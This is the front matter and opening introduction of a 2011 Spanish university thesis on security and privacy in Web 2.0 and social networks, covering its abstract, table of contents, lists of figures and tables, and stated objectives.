PFC Maria Angeles Caballero Velasco PDF

PROYECTO FIN DE CARRERA
Colmenarejo, julio de
2011
Aspectos de seguridad en Web
2.0 y redes sociales
Departamento de Informática
Grupo Docente: Seguridad en las

tecnologías de la Información
Tutor: Daniel Garzón Rubio
AUTOR:
MARÍA ÁNGELES CABALLERO VELASCO
Aspectos de seguridad en Web 2.0 y redes sociales 2011
ii
Título: ASPECTOS DE SEGURIDAD EN WEB 2.0 Y REDES SOCIALES

Autor: María Ángeles Caballero Velasco
Director: Daniel Garzón Rubio
EL TRIBUNAL
Presidente:
Vocal:
Secretario:
Realizado el acto de defensa y lectura del Proyecto Fin de Carrera el día 18 de Julio
de 2011 en Colmenarejo, en la Escuela Politécnica Superior de la
Universidad Carlos III de Madrid, acuerda otorgarle la CALIFICACIÓN de
VOCAL
SECRETARIO PRESIDENTE
iii
Agradecimientos
Agradezco al profesor Daniel Garzón Rubio por permitirme la realización de este

proyecto y apoyarme en todo momento, al director del departamento de Seguridad
en las Tecnologías de la Información Arturo Ribagorda Garnacho y al coordinador de
la asignatura “Seguridad y protección de la información” en ITIG, Benjamin Ramos
Álvarez.
Agradecer a Daniel González Gamonal por realizar la primera parte del proyecto
conjuntamente y así tomar una primera visión de la materia.
También quiero agradecer todo el apoyo ofrecido por mis compañeros de

Ingeniería Técnica Informática de Gestión e Ingeniería en Informática.
Agradezco también el apoyo por parte de los profesores de dichas carreras, así
como la gente de PA de la Universidad Carlos III que me apoyó en la realización del
proyecto y de la carrera en general.
iv
v
Resumen
Este proyecto final de carrera de universidad va enfocado a la seguridad en la Web 2.0 y las redes
sociales.
El documento se divide en dos partes. La primera parte define la visión principal del mundo 2.0, cómo
nació y que implicaciones tiene hoy en día en la sociedad. Se definen las características de la Web 2.0 y
su historia. Se analizan las diferencias entre la Web 2.0 y la Web 1.0, llegando hasta la Web 3.0. Se
clasifican los tipos de Web 2.0 por uso y por aplicación y se analizan todas las redes sociales que tienen
impacto hoy en día en el mundo. Finalmente se da una breve introducción a los lenguajes y
tecnologías, entornos dónde se usan y aspectos de la seguridad que en la segunda parte se entrará
más en profundidad en ellos.
La segunda parte del proyecto se desarrolla más en profundidad la seguridad relacionada con la Web
2.0. Se explica el concepto de Web 2.0 desde el lado del servidor (hardware y software del servidor),
desde el lado del cliente (hardware y software del cliente) y cómo se establece la comunicación entre
estos y qué tecnologías y lenguajes se utilizan para comunicarse (lenguajes y tecnología de
comunicación entre cliente y servidor). En cada una de estas tres partes se hace un desarrollo de las
amenazas de la seguridad que se ven implícitas, de los posibles ataques y la posibilidad de tomar
medidas de prevención, detección y corrección frente a estos ataques. Básicamente estos tres puntos
forman el grueso de esta segunda parte.
Una vez hecho el análisis del funcionamiento a nivel técnico de la Web 2.0 y su seguridad, se estudia la
privacidad en las redes sociales pasando desde los posibles fraudes que nos podemos encontrar a nivel
de ingeniería social, desde sistemas de autenticación y posibles medidas de seguridad que pueden
tomar los usuarios y los proveedores de estas redes sociales. También se desarrolla la legislación,
estándares y normativas que están relacionados con las redes sociales principalmente en España y
Europa.
Se realizan dos casos de uso estudiando las redes sociales de Facebook y Twitter y aplicando todos los
conocimientos adquiridos durante el estudio de toda la Web 2.0 y redes sociales. Se explica cómo
nacieron estas redes sociales, qué implicaciones tienen para la sociedad hoy en día, examinando su
seguridad y privacidad, tecnologías que usan, críticas realizadas a éstas y se examinan las noticias más
interesantes vistas en la prensa de éstas.
La última parte del proyecto incluye dos anexos de gran interés “Your Apps Are Watching You” y
“Banca 2.0, e-Banking” y finalmente se incluye un capitulo extra con presupuesto total del proyecto.
Palabras clave: Web 2.0, redes sociales, privacidad, seguridad, vulnerabilidades, amenazas, ataques
tecnologías, lenguajes, cliente, servidor, legislación, teléfonos inteligentes, Facebook, Twitter.
vi
vii
Abstract
This final university thesis is focused on security in Web 2.0 and social networking.
The document is divided in two diferent parts. The first part defines the main vision of the world 2.0,
how it was created and what are the present implications on society. The characteristics of Web 2.0
and its history are also included. We analyze the differences between Web 2.0 and Web 1.0,
concluding with Web 3.0. Web 2.0 is classified by types; use and application, and all the current social
networks with an impact are discussed. Finally, a brief introduction to the languages and technologies
is given, along with the environments where they are used and aspects of security. In the second part
of the thesis these matters are explained in detail.
The second part is focused on security related to the Web 2.0. The technical concept of Web 2.0 is
analyzed, from the server side (server hardware and software), from the client side (client hardware
and software), how communication between the two can be established and what are the technologies
and languages involved (languages and communication technologies between client and server). In
each of these three parts the implicit security threats are explained, as well as possible attacks and the
possibility of taking measures for prevention, detection and correction against these attacks. These
three points form the bulk of the second part.
Once the analysis of the technical concepts and security issues of the Web 2.0 is done, we study the
privacy in social networks, such as possible frauds on a social engineering level, authentication systems
and security measures that the users and social networks providers can take. The legislation,
standards and regulations that are related to social networks mainly in Spain and Europe are also
explained.
There are two use cases analyzing the Facebook and Twitter social networks and applying all the
knowledge acquired during the previous study of the whole Web 2.0 and social networking. We explain
how these social networks were created, what the implications for society nowadays are and examine
their security and privacy, technologies they use, criticisms they have been object to, and finally discuss
the most interesting pieces of news on them in the press.
The last part of the thesis includes two annexes of interest "Your Apps Are Watching You" and
"Banking 2.0, e-Banking" and an extra chapter with the total budget of the project.
Keywords: Web 2.0, social networks, privacy, security, vulnerabilities, threats, attacks, technologies,
languages, client, server, legislation, smartphones, Facebook, Twitter.
viii
Índice general
Contenido
Primera parte Aspectos de seguridad en Web 2.0 y redes sociales .....................................20
Capítulo 1 Introducción y objetivos ...................................................................................... 21
1.1. Introducción ..................................................................................................................... 21
1.2. Objetivos ......................................................................................................................... 21
1.3. Fases de desarrollo ...........................................................................................................22
1.4. Medios empleados ...........................................................................................................22
1.5. Estructura de la memoria ................................................................................................. 23
Capítulo 2 Introducción a la Web 2.0 .................................................................................... 25
2.1. Una Primera Visión .......................................................................................................... 25
2.2. Web 1.0, la Web de los datos ........................................................................................... 25
2.3. Web 2.0, la web de las personas .......................................................................................26
2.3.1. Características de las Web 2.0 ...................................................................................26
2.3.2. Un poco de historia Web 2.0......................................................................................28
2.3.3. Nueva visión. ¿Qué provocan las Web 2.0? ................................................................28
2.3.4. Wikipedia, la Web 2.0 por excelencia ........................................................................29
2.4. Comparación: Web 1.0 y Web 2.0 .................................................................................... 30
2.5. Web 3.0, Web semántica.................................................................................................. 31
Capítulo 3 Clasificación de la Web 2.0................................................................................... 32
3.1. Clasificación ..................................................................................................................... 32
3.1.1. Clasificación por uso .................................................................................................. 32
3.1.2. Por tipo de aplicación ................................................................................................ 32
Capítulo 4 Redes Sociales: Clasificación y ejemplos clave ................................................... 34
4.1. Clasificación ..................................................................................................................... 34
4.1.1. Sociales ..................................................................................................................... 35
4.1.2. Comunicaciones&Mensajería .................................................................................... 38
4.1.3. Infraestructura&Almacenamiento ............................................................................. 41
4.1.4. Fotografía&Video .....................................................................................................44
4.1.5. e-Commerce .............................................................................................................48
4.1.6. Profesionales&Productividad .................................................................................... 51
4.1.7. Música&Sonido ......................................................................................................... 54
4.1.8. Comunidad ............................................................................................................... 58

4.1.9. Búsquedas&Referencias............................................................................................60
4.1.10. Otras .......................................................................................................................62
4.2. Algunos ejemplos clave ................................................................................................... 63
4.2.1. Facebook (www.facebook.com) ................................................................................ 63
4.2.2. MySpace (www.myspace.com) ................................................................................. 65
4.2.3. Youtube (www.youtube.com) ................................................................................... 67
4.2.4. Tuenti (www.tuenti.com) ..........................................................................................68
4.2.5. Flickr (www.flickr.com) .............................................................................................69
4.2.6. Ebay (www.ebay.com) .............................................................................................. 70
4.2.7. Del.icio.us (www.delicious.com) ............................................................................... 71
4.2.8. Amazon (www.amazon.com).................................................................................... 72
4.2.9. Twitter (www.twitter.com) ....................................................................................... 73
4.2.10. Google (www.google.com) ..................................................................................... 74
4.2.11. Blogs ....................................................................................................................... 75
Capítulo 5 ¿Dónde se alojan? ................................................................................................ 77
5.1. Servidores, plataformas y máquinas ................................................................................ 77
Capítulo 6 ¿En qué entornos se usan? .................................................................................. 79
6.1. Social ............................................................................................................................... 79
6.2. Profesional ...................................................................................................................... 79
6.3. Cultural ............................................................................................................................80
Capítulo 7 Cómo se desarrollan: Tecnologías y lenguajes ................................................... 81
7.1. Desarrollo de los lenguajes y tecnologías que giran en torno a la Web 2.0 ........................ 81
Capítulo 8 Aspectos de la seguridad en Web 2.0 .................................................................. 87
8.1. ¿Quién nos vigila? ............................................................................................................ 87
8.2. Seguridad 2.0 actual ........................................................................................................89
Segunda parte Aspectos de seguridad en Web 2.0 y redes sociales .................................... 91
Capítulo 9 Introducción a la seguridad 2.0 ...........................................................................92
Capítulo 10 Hardware y software del servidor ..................................................................... 95
10.1. Introducción ................................................................................................................... 95
10.2. Hardware del servidor .................................................................................................... 95
10.3. Software del servidor ..................................................................................................... 97
10.3.1. Sistemas de Gestión de Contenidos (CMS) ..............................................................98
10.3.1.1. Introducción ......................................................................................................98
x
10.3.1.2. ¿Qué es un CMS? ..............................................................................................98

10.3.1.3. Funcionalidad de los sistemas de gestión de contenidos ...................................99
10.3.1.4. Historia ........................................................................................................... 100
10.3.1.5. Presente y Futuro ............................................................................................ 101
10.3.1.6. Necesidad de un CMS ..................................................................................... 102
10.3.1.7. Criterios de selección de un CMS ..................................................................... 103
10.3.1.8. Tipos de Gestores de Contenidos .................................................................... 104
10.3.1.9. Listado de sistemas de gestión de contenidos. ............................................... 105
10.4. Seguridad en el servidor ............................................................................................... 115
10.4.1. Introducción .......................................................................................................... 115
10.4.2. Amenazas y Vulnerabilidades de un Servidor Web ................................................ 116
10.4.3. Ataques a un servidor Web .................................................................................... 117
10.4.4. Protección frente ataques ..................................................................................... 133
Capítulo 11 Hardware y Software del Cliente ..................................................................... 135
11.1. Introducción ................................................................................................................. 135
11.2. Hardware ..................................................................................................................... 137
11.2.1. Ordenadores de sobremesa y portátiles ................................................................ 137
11.2.2. Tablet PC ............................................................................................................... 137
11.2.2.1. Ultra Mobile PC ............................................................................................... 139
11.2.3. Dispositivos móviles .............................................................................................. 140
11.2.3.1. Dispositivo móvil de Datos Limitados: Teléfonos móviles ............................... 140
11.2.3.2. Dispositivo móvil de Datos Básicos: Teléfonos inteligentes (Smartphones) .... 140
11.2.3.3. Dispositivo móvil de Datos Mejorados: PDA, PocketPC .................................. 142
11.2.4. Videoconsolas ....................................................................................................... 144
11.3. Software....................................................................................................................... 145
11.3.1. Sistemas Operativos .............................................................................................. 145
11.3.1.1. Desarrollo de los sistemas operativos enfocado a la Web 2.0 .......................... 145
11.3.1.2. Sistemas operativos más populares ................................................................ 146
11.3.2. Debilidades de los sistemas operativos para smartphones ..................................... 153
11.3.2.1. Debilidades relativas a la tecnología ............................................................... 154
11.3.2.2. Debilidades relativas a las aplicaciones ........................................................... 154
11.3.2.3. Debilidades relativas al factor humano ........................................................... 154
11.3.3. Vulnerabilidades de los sistemas operativos para smartphones .............................. 155
11.3.3.1. Ejemplos de vulnerabilidades .......................................................................... 155
xi
11.3.3.2. Trucos de seguridad para smartphones: .......................................................... 157

11.3.3.3. Antivirus para Smarthphones .......................................................................... 158
11.3.4. Navegadores ......................................................................................................... 159
11.3.4.1. Flock ............................................................................................................... 161
Capítulo 12 Lenguajes y Tecnologías de comunicación entre cliente y servidor ............... 163
12.1. Introducción ................................................................................................................. 163
12.2. Lenguajes y Tecnologías en Web 2.0 ............................................................................ 164
12.2.1. AJAX...................................................................................................................... 164
12.2.2. HTML .................................................................................................................... 168
12.2.3. CSS........................................................................................................................ 169
12.2.4. XML ...................................................................................................................... 170
12.2.5. XHTML .................................................................................................................. 172
12.2.6. Javascript y DOM .................................................................................................. 173
12.2.7. RSS, RDF y ATOM (sindicación y agregación de contenidos) ................................. 174
12.2.8. Servicios web ........................................................................................................ 176
12.3. Protocolos de conexión más usados en Web 2.0 .......................................................... 179
12.4. Seguridad: ataques, riesgos y prevención .................................................................... 180
12.4.1. Introducción .......................................................................................................... 180
12.4.2. Ataques en Lenguajes y Tecnologías ..................................................................... 180
12.4.2.1. Top 10 Web 2.0 Vectores de Ataque ............................................................... 180
12.4.3. Riesgos en Lenguajes y Tecnologías ...................................................................... 185
12.4.3.1. OWASP Top 10 Web Application Security Risks .............................................. 185
12.4.4. Protección frente ataques .....................................................................................206
12.4.5. Prevención y detención de intrusiones. Top 10 Web Application Security Risks. ... 207
12.4.5.1. Técnicas de inyección ..................................................................................... 207
12.4.5.2. Cross-Site Scripting (XSS) .............................................................................. 207
12.4.5.3. Broken Authentication and Session Management .......................................... 208
12.4.5.4. Insecure Direct Object References .................................................................. 208
12.4.5.5. Cross-Site Request Forgery (CSRF) ................................................................. 208
12.4.5.6. Security Misconfiguration...............................................................................209
12.4.5.7. Insecure Cryptographic Storage......................................................................209
12.4.5.8. Failure to Restrict URL Access ........................................................................ 210
12.4.5.9. Insufficient Transport Layer Protection .......................................................... 211
12.4.5.10. Unvalidated Redirects and Forwards ............................................................ 211
xii
12.5. Red de Webs 2.0, conexión entre portales .................................................................... 213

12.6. Mapas Web 2.0 de interés ............................................................................................ 215
12.6.1. Web Trend Map ..................................................................................................... 215
12.6.2. Mapa Visual Web 2.0 ............................................................................................. 215
12.7. Ejemplo de interconexión Facebook vs GMail .............................................................. 218
Capítulo 13 Legislación, estándares y normativas ............................................................. 231
13.1. Introducción ................................................................................................................. 231
13.2. Leyes ............................................................................................................................240
13.2.1.LOPD......................................................................................................................240
13.2.1.1.Introducción.....................................................................................................240
13.2.1.2. Relación con Web 2.0 ...................................................................................... 241
13.2.2. LSSI ....................................................................................................................... 243
13.2.2.1. Introducción.................................................................................................... 243
13.2.2.2. Relación con Web 2.0 ..................................................................................... 245
13.3. Estándares de seguridad ..............................................................................................246
13.3.1. Metodología UIT-T X.805: Security architecture for systems providing end-to-end
communications ...............................................................................................................246
Capítulo 14 Privacidad ........................................................................................................ 247
14.1. Introducción ................................................................................................................. 247
14.2. Ingeniería Social...........................................................................................................249
14.2.1. Fraudes por correo electrónico ..............................................................................249
14.2.2. Phishing ................................................................................................................ 251
14.2.3. Malware ................................................................................................................ 254
14.2.4. Contraseñas .......................................................................................................... 257
14.3. Analizando las condiciones de uso de las redes sociales ............................................... 259
14.3.1. Analizado las condiciones de uso de Facebook ...................................................... 259
14.3.2. Analizado las condiciones de uso de Tuenti ...........................................................260
14.4. Inseguridad generada por niveles.................................................................................262
14.5. Medidas de Seguridad a nivel de usuario y proveedor .................................................. 263
14.5.1. Nivel de usuario ..................................................................................................... 263
14.5.2. Nivel de proveedor ...............................................................................................264
14.6. Posibles soluciones a nivel de Gobierno ....................................................................... 265
14.7. Soluciones actualmente funcionando........................................................................... 267
14.7.1. Seguridad Web 2.0 ................................................................................................ 270
xiii
14.7.2. Protégeles ............................................................................................................. 277

14.7.3. Insafe ..................................................................................................................... 281
14.8. Herramientas de las empresas para el control del uso de Web 2.0 ............................... 282
14.8.1. Application Identity Software Blade de CheckPoint .............................................. 282
14.8.2. Application Control de WatchGuard ...................................................................... 283
14.9. Privacidad Web ............................................................................................................284
14.9.1. Autenticación OpenID y Single Sign-On ................................................................284
14.9.1.1. Single Sign-On ................................................................................................284
14.9.1.2. OpenID ...........................................................................................................286
14.9.2. Cookies .................................................................................................................286
14.9.2.1. Ventajas y Desventajas ................................................................................... 287
14.9.2.2. Falsas afirmaciones ........................................................................................ 288
14.9.3. Configuración del navegador (Internet Explorer) ...................................................289
14.9.3.1. Cookies ...........................................................................................................289
14.9.3.2. Historial de navegación y archivos temporales ...............................................290
Capítulo 15 Casos de uso ..................................................................................................... 293
15.1. Introducción ................................................................................................................. 293
15.2. Facebook .....................................................................................................................294
15.2.1. Introducción ..........................................................................................................294
15.2.2. ¿Qué es? ................................................................................................................296
15.2.3. Historia ..................................................................................................................296
15.2.4. Tecnología ............................................................................................................ 297
15.2.5. Críticas .................................................................................................................. 297
15.2.6. Privacidad en Facebook.........................................................................................298
15.2.7. Condiciones de uso en Facebook ........................................................................... 302
15.2.8. Noticias ................................................................................................................. 320
15.2.9. Referencias ........................................................................................................... 335
15.3. Twitter ......................................................................................................................... 337
15.3.1. Introducción .......................................................................................................... 337
15.3.2. ¿Qué es? ................................................................................................................ 338
15.3.3. Historia .................................................................................................................. 339
15.3.4. Tecnología ............................................................................................................. 339
15.3.5. Críticas................................................................................................................... 340
15.3.6. Privacidad en Twitter............................................................................................. 340
xiv
15.3.7. Noticias.................................................................................................................. 342

Nueva invasión de mensajes en Twitter ........................................................................ 342
Chinese Woman Imprisoned for Twitter Message ......................................................... 343
15.3.8. Referencias ............................................................................................................ 346
Capítulo 16 Anexos ............................................................................................................. 348
Anexo A: Your Apps Are Watching You ................................................................................ 348
¿Qué podemos hacer los usuarios frente a esto? No demasiado. .................................. 350
¿Qué saben ellos? – Smartphones .................................................................................... 351
Aplicaciones para Iphone .............................................................................................. 352
Aplicaciones para Android ............................................................................................ 354
Algunos ejemplos ......................................................................................................... 356
Anexo B: Banca 2.0, e-Banking ............................................................................................. 358
Implicaciones .................................................................................................................... 358
Fuera de tendencia 2.0 ..................................................................................................... 359
Presencia actual en la web 2.0 .......................................................................................... 359
Banca social ...................................................................................................................... 360
Y en el futuro .................................................................................................................... 361
Capítulo 17 Presupuesto ..................................................................................................... 363
Glosario ............................................................................................................................... 369
Referencias .......................................................................................................................... 375
xv
Índice de figuras
Ilustración 1. Web 2.0 Conference. .........................................................................................28
Ilustración 2. Portal de Wikipedia. ..........................................................................................29
Ilustración 3. Portal de Facebook. ........................................................................................... 63
Ilustración 4. Numero de visitas a las webs Facebook y MySpace durante el año 2008 por
meses. ....................................................................................................................................64
Ilustración 5. Portal de MySpace............................................................................................. 65
Ilustración 6. Portal de YouTube............................................................................................. 67
Ilustración 7. Portal de Tuenti. ................................................................................................68
Ilustración 8. Portal de Flickr. .................................................................................................69
Ilustración 9. Portal de Ebay. .................................................................................................. 70
Ilustración 10. Portal de Delicious. .......................................................................................... 71
Ilustración 11. Portal de Amazon. ........................................................................................... 72
Ilustración 12. Portal de Twitter. ............................................................................................. 73
Ilustración 13. Portal de Google. ............................................................................................. 74
Ilustración 14. Blogs................................................................................................................ 75
Ilustración 15. Ilustración 17. Servidor iDataPlex de IBM. ........................................................ 78
Ilustración 16. Seguridad 2.0. .................................................................................................94
Ilustración 17. CMS Used by Technorati Top 100. ................................................................. 101
Ilustración 18. Arquitectura de un servidor web. ................................................................... 115
Ilustración 19. Tabla de ARP. ................................................................................................ 121
Ilustración 20. Archivo hosts. ................................................................................................ 122
Ilustración 21. Ataque Smurf. ............................................................................................... 127
Ilustración 22. Establecimiento de sesión TCP. ..................................................................... 128
Ilustración 23. Ordenador portátil y ordenador de sobremesa. ............................................. 137
Ilustración 24. Ipad. .............................................................................................................. 137
Ilustración 25. Chrome OS Tablet. ........................................................................................ 138
Ilustración 26. WePad. .......................................................................................................... 138
Ilustración 27. Ilustración 29. IFree Tablet. ............................................................................ 139
Ilustración 28. Ultra Mobile PC.. ........................................................................................... 139
Ilustración 29. IPhone 3GS. ................................................................................................... 141
Ilustración 30. BlackBerry. .................................................................................................... 141
Ilustración 31. Nexus ONE. ................................................................................................... 142
Ilustración 32. Palm Pixi. ....................................................................................................... 142
Ilustración 33. PDA desarrollada por ACER. .......................................................................... 143
Ilustración 34. Sony PSP. ...................................................................................................... 144
Ilustración 35. Uso de los sistemas operativos de smartphones (Jun 09 – Jun 11). Fuente:
http://gs.statcounter.com/. .................................................................................................. 146
Ilustración 36. Uso de los sistemas operativos a nivel global (Jun 09 – Jun 11). Fuente:
http://gs.statcounter.com/. .................................................................................................. 147
Ilustración 37. Symbian OS. .................................................................................................. 148
Ilustración 38. BlackBerry OS................................................................................................ 148
Ilustración 39. iOS. ............................................................................................................... 149

Ilustración 40. Windows Phone............................................................................................. 150
Ilustración 41. Android.......................................................................................................... 151
Ilustración 42. Palm WebOS. ................................................................................................ 152
Ilustración 43. Seguridad para Smartphones. ....................................................................... 158
Ilustración 44. Cuota de uso de los navegadores (Jun 09 – Jun 11). Fuente:
http://gs.statcounter.com/ ................................................................................................... 159
Ilustración 45. Comparación de cuota de uso de navegadores por versiones (Jun 09 – Jul 11).
............................................................................................................................................. 160
Ilustración 46. Navegador Flock. .......................................................................................... 161
Ilustración 47. Navegador Flock. Conexión con redes sociales. ............................................. 162
Ilustración 48. Comparación modelo clásico Web y AJAX por Jesse James. .......................... 165
Ilustración 49. Comparación del modelo síncrono clásico y asíncrono del motor de AJAX por
Jesse James. ......................................................................................................................... 166
Ilustración 50. The Machine Is Us, http://www.youtube.com/watch?v=6gmP4nk0EOE. ....... 171
Ilustración 51. XHTML, separando contenido y forma. ......................................................... 172
Ilustración 52. Feed RSS. ...................................................................................................... 175
Ilustración 53. Servicios Web. ................................................................................................177
Ilustración 54. Navegador Safari con inicio personalizado. ................................................... 213
Ilustración 55. iGoogle. ......................................................................................................... 214
Ilustración 56. Netvibes. ....................................................................................................... 214
Ilustración 57. Web Trend Map 2007. .................................................................................... 216
Ilustración 58. Mapa Web 2.0 Fundación Orange. ................................................................. 217
Ilustración 59. Creando un nuevo perfil en Facebook. ........................................................... 218
Ilustración 60. Acceso a contactos de GMail desde Facebook. .............................................. 219
Ilustración 61. Amigos en Facebook. .................................................................................... 220
Ilustración 62. Captura de Wireshark. Facebook obtiene contactos de GMail. ...................... 220
Ilustración 63. Conexión Facebook – Gmail (I)....................................................................... 221
Ilustración 64. Conexión Facebook - GMail (II). ..................................................................... 222
Ilustración 65. La cara oculta de Facebook. ..........................................................................248
Ilustración 66. Ejemplo de pishing scam con Facebook. ....................................................... 253
Ilustración 67. Noticia: Planta nuclear en Iran sufre ataque de gusano:
http://alt1040.com/2010/09/planta-nuclear-en-iran-sufre-ataque-de-gusano. ..................... 256
Ilustración 68. Noticia: Robo masivo de contraseñas: http://www.neoteo.com/robo-masivo-
de-contrasenas.neo. ............................................................................................................. 258
Ilustración 69. Ilustración 69. Facebook. ¿Por qué tengo que dar mi fecha de nacimiento? ..260
Ilustración 70. Privacy: Generations,
http://www.youtube.com/watch?v=hsnr_4ccceY&feature=player_embedded. ................... 267
Ilustración 71. Web Seguridad 2.0 del Ministerio de Industria, Turismo y Comercio. ............. 270
Ilustración 72. SeguridadWeb20.es: Redes Sociales.............................................................. 271
Ilustración 73. SeguridadWeb20.es: Tu Responsabilidad. ..................................................... 273
Ilustración 74. SeguridadWeb20.es: Líneas de ayuda............................................................ 274
Ilustración 75. Protegeles.com. ............................................................................................. 277
Ilustración 76. Protegeles.com: ¿Qué hacemos? ................................................................... 278
Ilustración 77. Protegeles.com: Webs. .................................................................................. 280
xvii
Ilustración 78. Insafe. ............................................................................................................ 281

Ilustración 79. Insafe: Día del internet seguro, 8 Febrero de 2011.......................................... 281
Ilustración 80. Application Identity Software Blade de CheckPoint ...................................... 282
Ilustración 81. Application Control de WatchGuard .............................................................. 283
Ilustración 82: Iniciativa OpenID ...........................................................................................286
Ilustración 83. Opciones de IE. Privacidad .............................................................................289
Ilustración 84. Ilustración 1. Opciones de IE. Privacidad. Configuración avanzada de
privacidad. ............................................................................................................................290
Ilustración 85. Opciones de IE. General. ................................................................................ 291
Ilustración 86. Opciones de IE. Eliminar historial de exploración. ......................................... 291
Ilustración 87. Opciones de IE. Configuración de Archivo temporales de Internet e Historial.
.............................................................................................................................................292
Ilustración 88. Logotipo de Facebook. ..................................................................................294
Ilustración 89. Facebook alcanza el puesto 1 en el ranking de visitas por alexa.com. ............ 295
Ilustración 90. Privacidad en Facebook 2005. .......................................................................298
Ilustración 93. Privacidad en facebook 2009 (Nov)................................................................ 300
Ilustración 94. Privacidad en Facebook 2009 (Dec). .............................................................. 300
Ilustración 95. Privacidad en Facebook 2010 (Abr). ............................................................... 301
Ilustración 96. Profile Watch................................................................................................. 303
Ilustración 97. Profile Watch, ejemplo de funcionamiento. ................................................... 304
Ilustración 98. Profile Watch, ejemplo de Mark Zuckerberg. ................................................ 304
Ilustración 99. Reclaim Privacy. ............................................................................................ 305
Ilustración 100. Política de privacidad de Facebook. ............................................................. 306
Ilustración 101. Facebook. Términos de uso.......................................................................... 312
Ilustración 102. Ryan Homsley publicó como foto de perfil una imagen de las cámaras de
seguridad del banco que robó. Foto: Facebook. ................................................................... 331
Ilustración 103. Logotipo de Twitter. .................................................................................... 337
Ilustración 104. Twitter alcanza el puesto 7 en el ranking de visitas por alexa.com. .............. 338
Ilustración 105. Contenido de los tweets............................................................................... 339
Ilustración 106. Aplicación externa a Twitter. ....................................................................... 340
Ilustración 107. Privacidad de nuestros tweets. ..................................................................... 341
Ilustración 108. Tipos de datos que transmiten las apps. ...................................................... 351
Ilustración 109. Aplicaciones para Iphone. Tipos de datos. ................................................... 354
Ilustración 110. Aplicaciones para Android. Tipos de datos. .................................................. 355
Ilustración 111. Facebook app. Tipo de datos que transmite. ................................................ 356
Ilustración 112. Pandora app. Tipo de datos que transmite. .................................................. 357
Ilustración 113. Resumen del presupuesto del PFC. .............................................................. 363
Ilustración 114. Desglose del presupuesto por tareas. Microsoft Project. .............................. 366
Ilustración 115. Gráfico Gantt. Presupuesto del Proyecto. .................................................... 367
xviii
Índice de tablas
Tabla 1. Artículo “What is Web 2.0” de Tim O’Reilly. .............................................................. 30
Tabla 2. Redes Sociales. Categoría: Social. ............................................................................. 35
Tabla 3. Redes Sociales. Categoría: Comunicaciones&Mensajería. ......................................... 38
Tabla 4. Redes Sociales. Categoría: Infraestructura&Almacenamiento. ................................. 41
Tabla 5. Redes Sociales. Categoría: Fotografía&Video. ..........................................................44
Tabla 6. Redes Sociales. Categoría: e-Commerce. ..................................................................48
Tabla 7. Redes Sociales. Categoría: Profesionales&Productividad. ......................................... 51
Tabla 8. Redes Sociales. Categoría: Música&Sonido............................................................... 54
Tabla 9. Redes Sociales. Categoría: Comunidad. .................................................................... 58
Tabla 10. Redes Sociales. Categoría: Búsquedas&Referencias................................................60
Tabla 11. Redes Sociales. Categoría: Otras. ............................................................................62
Tabla 12. Fenómeno blog por Le Meur. .................................................................................. 76
Tabla 13. Plataformas de gestión de contenidos, CMS.......................................................... 105
Tabla 14. Desglose de tareas del PFC.................................................................................... 364
Aspectos de seguridad en Web 2.0 y redes 2011
sociales
Primera parte
Aspectos de seguridad en Web 2.0
y redes sociales
Página 20
sociales
Capítulo 1
Introducción y objetivos
1.1. Introducción
El proyecto va enfocado a la seguridad en redes sociales y Web 2.0. La motivación principal es

analizar la seguridad en estos sistemas ya que existe poca información en el mercado sobre
seguridad en Web 2.0, por lo que es importante que se conozcan los lenguajes y tecnologías
que se usan para poder conocer sus debilidades y así los posibles ataques y como prevenir
estos. Se pretender analizar la seguridad desde todas las posibles perspectivas de las redes
sociales. Finalmente también se entra en el tema de la privacidad, iniciativas a nivel de
gobierno, ayudas por parte de los proveedores de las redes sociales y la legislación, leyes y
normativas que nos pueden ayudar en el caso de sufrir algún fraude.
1.2. Objetivos
El objetivo fundamental de la tesis es analizar la seguridad que existen en las redes sociales y
Web 2.0 desde el lado del cliente, servidor e interconexión entre ellos.
En base a ese objetivo principal, se proponen los siguientes objetivos parciales:
Conocer el concepto de Web 2.0 así como su historia y desarrollo.

Explicar los conceptos asociados de Web 1.0 y Web 3.0.
Analizar los diferentes tipos de Web 2.0.
Analizar los diferentes tipos de redes sociales.
Ver cuáles son las redes sociales que están de moda en el mercado: Facebook, Twitter,
Tuenti, LinkedIn, mensajería, blogs, etc. y analizar porqué son las más populares.
Analizar las tecnologías a nivel hardware en el lado del servidor.
Analizar las tecnologías a nivel software en el lado del servidor.
Desarrollar las vulnerabilidades, amenazas a la seguridad, ataques y medidas de
prevención, detención y corrección frente a estos ataques que pueden surgir en el lado
del servidor.
Analizar las tecnologías a nivel hardware en el lado del cliente. Dispositivos móviles,
portátiles, etc.
Analizar las tecnologías a nivel software en el lado del cliente. Navegadores web,
sistemas operativos involucrados, etc.
Página 21
sociales

prevención, detención y corrección frente a estos ataques que pueden surgir en el lado
del cliente.
Examinar cómo se interconectan el cliente y el servidor en la Web 2.0, mediante qué
tecnologías y lenguajes lo hacen.
Examinar los protocolos de conexión más populares en la Web 2.0.
prevención, detención y corrección frente a estos ataques que pueden surgir en los
lenguajes y tecnologías involucrados en la conexión.
Analizar la legislación, estándares y normativas implícitos en la regulación de la Web
2.0 y redes sociales principalmente en España y Europa.
Evaluar los problemas existentes con la privacidad en las redes sociales en nuestros
días.
Evaluar los problemas de ingeniería social involucrados en las redes sociales.
Nuevas maneras de autenticación en las redes sociales: OpenID.
Aplicar los conocimientos aplicados durante el estudio de la seguridad en Web 2.0 y
redes sociales en casos reales con redes sociales del mercado.
1.3. Fases de desarrollo

El proyecto se desarrolla en dos fases claramente diferenciadas. Una primera fase de estudio
del concepto de Web 2.0 pasando por su historia y desarrollo. Concepto de Web 1.0 y Web 3.0
y comparación de Web 1.0 con Web 2.0. Tipos de Web 2.0 que tenemos y tipos de redes
sociales con sus principales ejemplos.
Una vez finalizada esta primera parte se empieza a desarrollar la segunda con un estudio en
profundidad de las redes sociales y la Web 2.0 desde el lado del cliente, del servidor y
lenguajes y tecnologías implícitos en todo el proceso. Se analizan también las normativas,
leyes y estándares relacionados con el mundo 2.0 y la privacidad en las redes sociales.
Una vez finalizado el desarrollo del proyecto se encuentra interesante analizar en casos de
redes sociales reales todo el proceso, por lo que escogió Facebook y Twitter para ello.
Finalmente resultó interesante desarrollar los anexos que se encuentran en la tesis.
1.4. Medios empleados

Los medios empleados han sido de coste bajo. Se ha empleado el uso referencias en Internet
principalmente, libros y material informático para poder desarrollar el estudio como
documentos Word, Excel y otros.
El principal medio utilizado a sido Internet ya que la información referente a la seguridad 2.0
